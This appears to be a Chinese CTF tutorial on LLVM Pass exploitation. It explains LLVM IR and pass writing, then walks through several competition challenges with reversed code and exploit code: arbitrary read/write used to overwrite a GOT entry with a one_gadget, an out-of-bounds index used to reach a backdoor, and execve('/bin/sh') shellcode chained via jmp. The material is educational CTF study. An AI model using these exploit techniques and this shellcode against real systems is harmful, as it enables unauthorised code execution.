llvm

要学习LLVM PASS类pwn,首先要知道什么是LLVM

LLVMC++编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。

LLVM Pass可用于对代码进行优化或者对代码插桩(插入新代码),LLVM的核心库中提供了一些Pass类可以继承,通过实现它的一些方法,可以对传入的LLVM IR进行遍历并操作。

LLVM IR即代码的中间表示,有三种形式:

  1. .ll 格式:人类可以阅读的文本,介于高级语言和汇编代码之间
  2. .bc 格式:bitcode适合机器存储的二进制文件
  3. 内存表示,只保存在内存中

然后要知道LLVM PASS是什么:pass是一种编译器开发的结构化技术,用于完成编译对象(如IR)的转换、分析或优化等功能。pass的执行就是编译器对编译对象进行转换、分析和优化的过程,pass构建了这些过程所需要的分析结果。

首先我们的源代码会被clang编译器编译成一种中间代码——IR,这个叫IR的东西非常重要,它连接这编译器的前端和后端,IR的设计很大程度体现着LLVM插件化、模块化的设计哲学,LLVM的各种pass其实都是作用在LLVM IR上的。同时IR也是一个编译器组件接口。通常情况下,设计一门新的编程语言只需要完成能够生成LLVM IR的编译器前端即可,然后就可以轻松使用LLVM的各种编译优化、JIT支持、目标代码生成等功能。

大概就是说,LLVM提供了一种中间语言形式,以及编译链接这种语言的后端能力,那么对于一个新语言,只要开发者能够实现新语言到IR的编译器前端设计,就可以享受到从IR到可执行文件这之间的LLVM提供的所有优化、分析或者代码插桩的能力

而LLVM PASS就是去处理IR文件,通过opt利用写好的so库优化已有的IR,形成新的IR。而LLVM PASS类的pwn就是利用这一过程中可能会出现的漏洞。

安装

安装CTF题目中常用的三个版本的clangLLVM

1
2
3
4
5
6
7
8
sudo apt install clang-8
sudo apt install llvm-8

sudo apt install clang-10
sudo apt install llvm-10

sudo apt install clang-12
sudo apt install llvm-12

例子

一个测试用的c语言小程序

1
2
3
4
5
6
7
8
9
10
11
12
// test.c
#include <stdio.h>
#include <unistd.h>

int main()
{
char name[0x10];
puts("Please tell me your name:");
read(0, name, 0x10);
printf("Hello: ");
write(1, name, 0x10);
}

进行编译然后执行如下命令,将c文件编译成ll后缀的文件:

1
clang -emit-llvm -S test.c -o test.ll

查看内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [26 x i8] c"Please tell me your name:\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"Hello: \00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca [16 x i8], align 16
%2 = call i32 @puts(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))
%3 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%4 = call i64 @read(i32 0, i8* %3, i64 16)
%5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%6 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%7 = call i64 @write(i32 1, i8* %6, i64 16)
ret i32 0
}

declare dso_local i32 @puts(i8*) #1

declare dso_local i64 @read(i32, i8*, i64) #1

declare dso_local i32 @printf(i8*, ...) #1

declare dso_local i64 @write(i32, i8*, i64) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}

接下来我们用官方给的小demo写一个LLVM PASS出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Hello.cpp
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;

namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();
for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){
SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();
SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end();
for(; instIter != instEnd; ++instIter){
errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "\n";
if (instIter->getOpcode() == 56)
{
if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) {
errs() << call_inst->getCalledFunction()->getName() << "\n";
for (int i = 0; i < instIter->getNumOperands()-1; i++)
{
if (isa<ConstantInt>(call_inst->getOperand(i)))
{
errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "\n";
}
}
}
}
}
}
return false;
}
};
}

char Hello::ID = 0;

// Register for opt
static RegisterPass<Hello> X("Hello", "Hello World Pass");

// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});

上述代码中的Hello结构体继承了LLVM核心库中的FunctionPass类,并重写了其中的runOnFunction函数(一般的CTF题都是如此)。runOnFunction函数在LLVM遍历到每一个传入的LLVM IR中的函数时都会被调用。

  1. getName()函数用于获取当前runOnFunction正处理的函数名

  2. 第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历

  3. getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:

    1
    2
    3
    ...
    HANDLE_OTHER_INST(``56``, Call , CallInst ) // Call a function
    ...
  4. 当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用BgetCalledFunction()函数就是用于获取此处B函数块的指针

  5. getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数
  6. 再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于callinvoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)
  7. if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt
  8. static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称

使用以下命令将其编译为一个so模块

1
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

接着,通过opt -load ./LLVMHello.so -Hello test.ll命令运行,得到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 aichch  ~/Program/clang  opt -load ./LLVMHello.so -Hello test.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.

Hello: main
OpcodeName = alloca NumOperands = 1
OpcodeName = call NumOperands = 2
puts
OpcodeName = getelementptr NumOperands = 3
OpcodeName = call NumOperands = 4
read
Operand 0 = 0
Operand 2 = 16
OpcodeName = call NumOperands = 2
printf
OpcodeName = getelementptr NumOperands = 3
OpcodeName = call NumOperands = 4
write
Operand 0 = 1
Operand 2 = 16
OpcodeName = ret NumOperands = 1

例题

2021redhat-simpleVM

题目提供了三个文件

opt-8,VMPass.so以及libc-2.31.so

核心肯定在于VMPass.so,首先定位到RunOnFunction函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_6830(__int64 a1, llvm::Value *a2)
{
__int64 v2; // rdx
bool v4; // [rsp+7h] [rbp-119h]
size_t v5; // [rsp+10h] [rbp-110h]
const void *Name; // [rsp+28h] [rbp-F8h]
__int64 v7; // [rsp+30h] [rbp-F0h]
int v8; // [rsp+94h] [rbp-8Ch]

Name = (const void *)llvm::Value::getName(a2);
v7 = v2;
if ( "o0o0o0o0" )
v5 = strlen("o0o0o0o0");
else
v5 = 0LL;
v4 = 0;
if ( v7 == v5 )
{
if ( v5 )
v8 = memcmp(Name, "o0o0o0o0", v5);
else
v8 = 0;
v4 = v8 == 0;
}
if ( v4 )
sub_6AC0(a1, a2);
return 0LL;
}

如果函数名是o0o0o0o0则会进入sub_6AC0函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_6AC0(__int64 a1, llvm::Function *a2)
{
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+38h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+40h] [rbp-10h] BYREF

v5[1] = __readfsqword(0x28u);
v5[0] = llvm::Function::begin(a2);
while ( 1 )
{
v4 = llvm::Function::end(a2);
if ( (llvm::operator!=(v5, &v4) & 1) == 0 )
break;
v3 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v5);
sub_6B80(a1, v3, 1LL);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
v5,
0LL);
}
return __readfsqword(0x28u);
}

其主要的逻辑又在于sub_6B80

这个函数有点长就不完整放出来了,其内部主要在匹配o0o0o0o0函数的基本块

1
2
3
4
5
6
7
8
9
10
v39[0] = llvm::BasicBlock::begin(a2);
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);

遍历所有的基本块BasicBlock,然后使用llvm::dyn_cast(其功能是动态类型转换),将基本块指针转化为Instruction指针

如果操作码是一个call系统调用(Opcode:55),则将Instruction指针动态类型转化为CallBase指针

并进入深一步的判断,主要是匹配各个被调用的函数名字

有如下可能pop push store load add min,每个都对应一个处理

操作的关键有两个变量off_20DFD0off_20DFc0

其是两个指针

1
2
LOAD:000000000020DFC0 88 E5 20 00 00 00 00 00       off_20DFC0 dq offset reg2            
LOAD:000000000020DFD0 80 E5 20 00 00 00 00 00 off_20DFD0 dq offset reg1

add()min()是一对函数,会通过第一个参数确定所要操作的全局变量,然后将第二个参数的值加上或减去。

其可以用于修改寄存器的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else if ( !strcmp(s1, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v11 = llvm::CallBase::getArgOperand(v35, 0);
v10 = 0LL;
v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
if ( v9 )
{
v8 = llvm::ConstantInt::getZExtValue(v9);
if ( v8 == 1 )
v10 = off_20DFD0;
if ( v8 == 2 )
v10 = off_20DFC0;
}
if ( v10 )
{
v7 = llvm::CallBase::getArgOperand(v35, 1u);
v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
if ( v6 )
*v10 -= llvm::ConstantInt::getZExtValue(v6);
}
}

store()load()也是一对函数,会将两个全局变量中的一个看作地址,并将地址中的值给另一个全局变量(load()任意地址读漏洞)或是将另一个全局变量中的值存放到这个地址中store()任意地址写漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
else if ( !strcmp(s1, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = off_20DFD0;
if ( v22 == 2 )
v24 = off_20DFC0;
}
if ( v24 == off_20DFD0 )
{
**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
}
else if ( v24 == off_20DFC0 )
{
**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
}
}
}

由于opt一般是不会开PIE保护的,故这里可以考虑先利用任意地址读漏洞通过opt中任意一个函数的got表拿到libc地址,并用addmin函数对其修改,再利用任意地址写漏洞来劫持opt中的某个got表为one_gadget即可

这里选择free,因为每一次循环结束都会有

1
2
3
4
5
6
7
      free(s1);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
v39,
0LL);
}

exp:

./opt-8 -load ./VMPass.co -VMPass ./exp.ll

1
2
3
4
5
6
7
8
9
10
void store(int a);
void load(int a);
void add(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100);#寄存器1变为0x77e100
load(1);#寄存器2获得0x77e100的值
add(2, 0x729ec);#寄存器2的值增加0x77e100
store(1);#寄存器1指向的值变为寄存器2的值
}

在打远程的时候,与内核和QEMU逃逸的题类似:将exp.llexp.bc通过base64加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR传给LLVM运行。

2021ciscn-satool

题目给的文件还是老样子

直接ida打开SAPass.so,开始的start函数可以看到注册的Pass类就叫做SAPass

根据之前说过的方法定位到重写的RunOnFunction函数为sub_19D0

但这题的反编译结果要比上一题的复杂得多

虽然其中有很多是对非法信息的检测,只要我们正常编写程序都是不会触发的,所以可以忽略不计(嫌难看的话,因为这些报错代码都是连在一起的可以直接nop掉)

但就算这样代码也还是一坨,不过依据这类题目的尿性,以及自己做一些调试,就能判断出后面还是对B4ckDo0r函数内部调用的函数做判断

有如下可能save takeway fakekey stealkey run

run中有一个特别显眼的块,调用了byte_2040f8指向的值作为函数指针调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    v4 = ((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))*byte_2040f8)(
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL,
0LL);
}

那么我们就看一下这个全局变量是怎么来的,是否存在操作空间

可以注意到其是在save函数的处理中被赋值的

1
2
3
4
5
6
7
8
9
10
11
sub_2430(&src, v20);
sub_2430(v67, v24);
v25 = n;
v26 = malloc(0x18uLL);
v26[2] = byte_2040f8;
byte_2040f8 = v26;
v27 = (char *)src;
memcpy(v26, src, v25);
v28 = v26 + 1;
v29 = (char *)v67[0];
memcpy(v28, v67[0], (size_t)v67[1]);

但我们有必要知道memcpy(v26, src, v25);往堆块了写了什么

可以看出其来源是sub_2430(&src, v20);

这个函数大致一看就是往src里填充内容,但不太能知道v20是个啥,这时候可以进行一些调试,写一个save(0x1,0x2,0x3,0x4.....);这样的函数,然后去调试判断

stealkey中有这么一句

1
byte_204100 = *byte_2040f8;

然后在fakekey中又有

1
2
3
4
5
6
7
v59 = byte_204100;
if ( *(_BYTE *)(*(_QWORD *)v58 + 16LL) == 13 )
SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*(_QWORD *)v58 + 24LL));
else
SExtValue = 0LL;
byte_204100 = v59 + SExtValue;
*byte_2040f8 = v59 + SExtValue;

SExtValue是我们传递的参数

也就是说我们可以在一定范围修改byte_2040f8的值,那么如果上面残余了libc的指针,就能够修改为onegadget

那么就要如何确保其上残余libc地址了

第一次malloc之前

那么我们只需要取一次chunk,之后的fd字段就会残余地址了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();

void B4ckDo0r()
{
save("\n", "\n");
save("", "\n");//第一个参数为空字符串,是为了不将其复制到chunk中
stealkey();
fakekey(-0x1ecbf0+0xe3afe);
run();
}

2022qwb-yakagame

不多说,直接打开yaka.so,找到注册的类名字是ayaka

重写的ROF函数是sub_C880

针对gamestart函数,然后内部又是一堆调用函数处理

fight函数中存在一个后门

1
2
if ( (__int64)*score > 0x12345678 )
backdoor();

不过需要当分数大于0x12345678才能调用

如何触发后门函数呢?weaponlist[]数组是char类型的,即单字节,就算比boss值要大,其差值也不可能大于0x12345678

继续往后看,后面逆向也都不难,merge函数可以将一个weaponlist的值加到另一个上,destroy可以将指定weaponlist清零,upgrade可以将所有weaponlist的值都加上某一个数值。

接着,会有四个奇怪的函数,像是拼音,也不知道啥意思:wuxiangdeyidaozhanjinniuzaguobapenhuotiandongwanxiang可以对cmd字符串中每个字符都进行同样的操作。由此可以想到,可通过这四个函数对cmd字符串原有的内容解密成某个命令。

cmd开始是由src复制过来的,其中内容如下

1
2
3
4
5
6
7
8
9
10
.rodata:0000000000011401                               ; const char src
.rodata:0000000000011401 92 src db 92h ; DATA XREF: sub_C880+6F↑o
.rodata:0000000000011402 68 db 68h ; h
.rodata:0000000000011403 7B db 7Bh ; {
.rodata:0000000000011404 27 db 27h ; '
.rodata:0000000000011405 6D db 6Dh ; m
.rodata:0000000000011406 93 db 93h
.rodata:0000000000011407 68 db 68h ; h
.rodata:0000000000011408 66 db 66h ; f
.rodata:0000000000011409 00 db 0

可以看到其中第二个和第七个字符一样,而那四个函数每次又是对所有字符做同样的操作,因此不难联想到最后解密成的命令很可能是cat flag,写个脚本爆破一下即可。不过这题实际上也不用如此,继续对后面进行分析就知道了。

后面就是一个else条件分支,也就是说当调用的函数不是上面提及的所有函数的时候,就会进入这个分支。这里用了C++ STL里的mapmap可在任意类型的值之间建立映射关系,并且会按关键字从小到大排序。如:map["abc"] = 123就将abc这个字符串与123这个数值间建立了映射关系,并且在通过迭代器遍历map的时候,关键字abc会在关键字abd之前遍历到。

1
2
3
4
5
6
7
8
9
10
11
if ( (std::operator==<char>(v22, v58) & 1) != 0 )
{
v23 = std::operator<<<std::char_traits<char>>(
&std::cout,
"you really want this?all right,i will add it into the weapon list");
std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
v24 = std::_Rb_tree_iterator<std::pair<std::string const,unsigned char>>::operator->(&v34);
weaponlist[v33] = *(_BYTE *)(v24 + 32);
break;
}
++v33;

在这个else分支中,会先遍历map,查找是否有调用的这个函数名作为key,其第一个参数作为value的映射关系。

若是有,则会将weaponlist[]数组下标对应map中此映射关系位置的值改为这个value若没有,则会将这个新映射关系加入map中。

我们注意到,此处的v33是有符号的char类型,其范围是-128~127故当map中映射关系很多的时候,v33会是负数,此处也就存在一个数组下标越界的漏洞了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.bss:00000000002169A8                               public cmd
.bss:00000000002169A8 ; char *cmd
.bss:00000000002169A8 ?? ?? ?? ?? ?? ?? ?? ?? cmd dq ? ; DATA XREF: LOAD:0000000000002468↑o
.bss:00000000002169A8 ; .got:cmd_ptr↑o
.bss:00000000002169B0 public score
.bss:00000000002169B0 ?? score db ? ; ; DATA XREF: LOAD:0000000000001340↑o
.bss:00000000002169B0 ; .got:score_ptr↑o
.bss:00000000002169B1 ?? db ? ;
.bss:00000000002169B2 ?? db ? ;
.bss:00000000002169B3 ?? db ? ;
.bss:00000000002169B4 ?? db ? ;
.bss:00000000002169B5 ?? db ? ;
.bss:00000000002169B6 ?? db ? ;
.bss:00000000002169B7 ?? db ? ;
.bss:00000000002169B8 ?? db ? ;
.bss:00000000002169B9 ?? db ? ;
.bss:00000000002169BA ?? db ? ;
.bss:00000000002169BB ?? db ? ;
.bss:00000000002169BC ?? db ? ;
.bss:00000000002169BD ?? db ? ;
.bss:00000000002169BE ?? db ? ;
.bss:00000000002169BF ?? db ? ;
.bss:00000000002169C0 public weaponlist
.bss:00000000002169C0 ; char weaponlist[256]
.bss:00000000002169C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+weaponlist db 100h dup(?)

如上图,可以看到cmd指针和score指针都在weaponlist之前,故可以通过这个数组下标越界漏洞,修改score指针的最后一字节[-16],使其错位,从而指向很大的数字,触发后门函数。

由于opt没开PIE保护,故直接将cmd指针指向opt中的某个字符串末尾的sh即可

一个生成exp模板的脚本,对生成的文件进行微调即可完成要求

1
2
3
4
5
6
7
8
9
10
11
for i in range(256):
s = str(i)
s = "0"*(3-len(s)) + s
print("void func" + s + "(int x);")

print("")

for i in range(256):
s = str(i)
s = "0"*(3-len(s)) + s
print("func" + s + "(0);")

2022ciscn-satool

注册Pass叫做mba,重写的ROF函数是`anonymous namespace'::MBAPass::runOnFunction

函数真正需要关注的部分只有

1
2
3
4
mprotect(this[4], 0x1000uLL, 3);
`anonymous namespace'::MBAPass::handle((_anonymous_namespace_::MBAPass *)this, v29);
mprotect(this[4], 0x1000uLL, 5);
v27 = `anonymous namespace'::MBAPass::callCode((_anonymous_namespace_::MBAPass *)this);
1
2
3
4
5
6
__int64 __fastcall `anonymous namespace'::MBAPass::callCode(
__int64 (__fastcall **this)(_anonymous_namespace_::MBAPass *, __int64),
__int64 a2)
{
return this[4]((_anonymous_namespace_::MBAPass *)this, a2);
}

先将this[4]页置为可写可执行,执行handler函数

再将this[4]页置为可读可执行,执行this[4]处的代码

经过调试可以知道this[4]被全部初始化为c3

那么重点就是handle了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
Operand = llvm::User::getOperand(Terminator, 0);
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )
{
*((_DWORD *)this + 12) = 0;
v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
SExtValue = llvm::ConstantInt::getSExtValue(v2);
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, SExtValue);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )
{
*((_DWORD *)this + 12) = 1;
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
return `anonymous namespace'::MBAPass::writeRet(this);
}

这题是倒序对基本块中的指令进行处理的,getTerminator函数是取末尾的指令,第一个if判断末尾指令的第一个操作数是否是常数,第二个else if判断末尾指令的第一个操作数是否为函数的参数,如果都不是,说明是变量,那就进入到最后else的分支。

出题人实现了四个函数用于写指令

  • writeMovImm64 给rax或rbx立即数
  • writeInc inc rax
  • writeOpReg add rax,rbx
  • writeRet 写ret

但这些shellcode似乎并没办法能够构造完成getshell

所以这题最后利用的是反复执行RunOnFunction的时候,this[4]的内容是不会被重置的

因为其是在构造函数中进行初始化的

1
2
3
4
5
6
7
void *__fastcall `anonymous namespace'::MBAPass::MBAPass(void **this)
{
llvm::FunctionPass::FunctionPass((llvm::FunctionPass *)this, `anonymous namespace'::MBAPass::ID);
*this = (char *)&`vtable for'`anonymous namespace'::MBAPass + 16;
this[4] = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
return memset(this[4], 195, 0x1000uLL);
}

通过分析发现,一个sub或者addIR对应的shellcode是13个字节:,那么我们可以这样构造

第一次利用add rax功能在这个区域留下一些jmp指令

然后第二次输入shellcode恰好覆盖到执行jmp指令,并且在第二次输入shellcode的时候提前利用add rax功能分多次布置好shellcode并使用jmp跳转指令连接

最后由于这题的LLVM IR中指令的操作符只能是addsub,故不能用C语言直接编译生成LLVM IR文件,不然会有很多其他的操作符。

可以先用C语言写两个空函数,再通过clang-12对其编译生成ll文件,然后直接在ll文件中仿照之前的题目手写LLVM IR

模板脚本:

1
2
3
for i in range(2, 319):
payload = " %" + str(i) + " = add nsw i64 %" + str(i-1) + ", " + "1024"
print(payload)

shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
context(os = 'linux', arch = 'amd64')

shellcode = [
"mov edi, 0x68732f6e",#为了长度不长于6,所以选择/bin/sh分两次写
"shl rdi, 24",#左移三个字节
"mov ebx, 0x69622f",
"add rdi, rbx",#剩余部分,通过ebx加上
"push rdi",
"push rsp",
"pop rdi",
"xor rsi, rsi",
"xor rdx, rdx",
"push 59",
"pop rax",
"syscall"
]

for sc in shellcode:
print(u64(asm(sc).ljust(6, b'\x90') + b'\xEB\xEB'))

print(u16(b'\xEB\xE4'))

拾遗

逆向定位

一般情况下,ctf中llvm类题目都是重写了FunctionPass类中的runOnFunction函数

那么该如何定位到重写的runOnFunction函数

只需要打开so文件,在ida中搜索文本vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
LOAD:000000000020DD10                               ; `vtable for'`anonymous namespace'::VMPass
LOAD:000000000020DD10 00 00 00 00 00 00 00 00 _ZTVN12_GLOBAL__N_16VMPassE dq 0 ; offset to this
LOAD:000000000020DD18 B0 DD 20 00 00 00 00 00 dq offset _ZTIN12_GLOBAL__N_16VMPassE ; `typeinfo for'`anonymous namespace'::VMPass
LOAD:000000000020DD20 80 67 00 00 00 00 00 00 off_20DD20 dq offset sub_6780 ; DATA XREF: sub_6720+30↑o
LOAD:000000000020DD28 D0 67 00 00 00 00 00 00 dq offset sub_67D0
LOAD:000000000020DD30 E0 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass11getPassNameEv ; llvm::Pass::getPassName(void)
LOAD:000000000020DD38 30 7A 00 00 00 00 00 00 dq offset _ZN4llvm4Pass16doInitializationERNS_6ModuleE ; llvm::Pass::doInitialization(llvm::Module &)
LOAD:000000000020DD40 80 7A 00 00 00 00 00 00 dq offset _ZN4llvm4Pass14doFinalizationERNS_6ModuleE ; llvm::Pass::doFinalization(llvm::Module &)
LOAD:000000000020DD48 80 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass5printERNS_11raw_ostreamEPKNS_6ModuleE ; llvm::Pass::print(llvm::raw_ostream &,llvm::Module const*)
LOAD:000000000020DD50 08 EB 20 00 00 00 00 00 dq offset _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE ; llvm::FunctionPass::createPrinterPass(llvm::raw_ostream &,std::string const&)
LOAD:000000000020DD58 F0 EA 20 00 00 00 00 00 dq offset _ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE ; llvm::FunctionPass::assignPassManager(llvm::PMStack &,llvm::PassManagerType)
LOAD:000000000020DD60 C0 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass18preparePassManagerERNS_7PMStackE ; llvm::Pass::preparePassManager(llvm::PMStack &)
LOAD:000000000020DD68 B0 EA 20 00 00 00 00 00 dq offset _ZNK4llvm12FunctionPass27getPotentialPassManagerTypeEv ; llvm::FunctionPass::getPotentialPassManagerType(void)
LOAD:000000000020DD70 D8 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass16getAnalysisUsageERNS_13AnalysisUsageE ; llvm::Pass::getAnalysisUsage(llvm::AnalysisUsage &)
LOAD:000000000020DD78 00 EB 20 00 00 00 00 00 dq offset _ZN4llvm4Pass13releaseMemoryEv ; llvm::Pass::releaseMemory(void)
LOAD:000000000020DD80 A0 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass26getAdjustedAnalysisPointerEPKv ; llvm::Pass::getAdjustedAnalysisPointer(void const*)
LOAD:000000000020DD88 78 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass18getAsImmutablePassEv ; llvm::Pass::getAsImmutablePass(void)
LOAD:000000000020DD90 C8 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass18getAsPMDataManagerEv ; llvm::Pass::getAsPMDataManager(void)
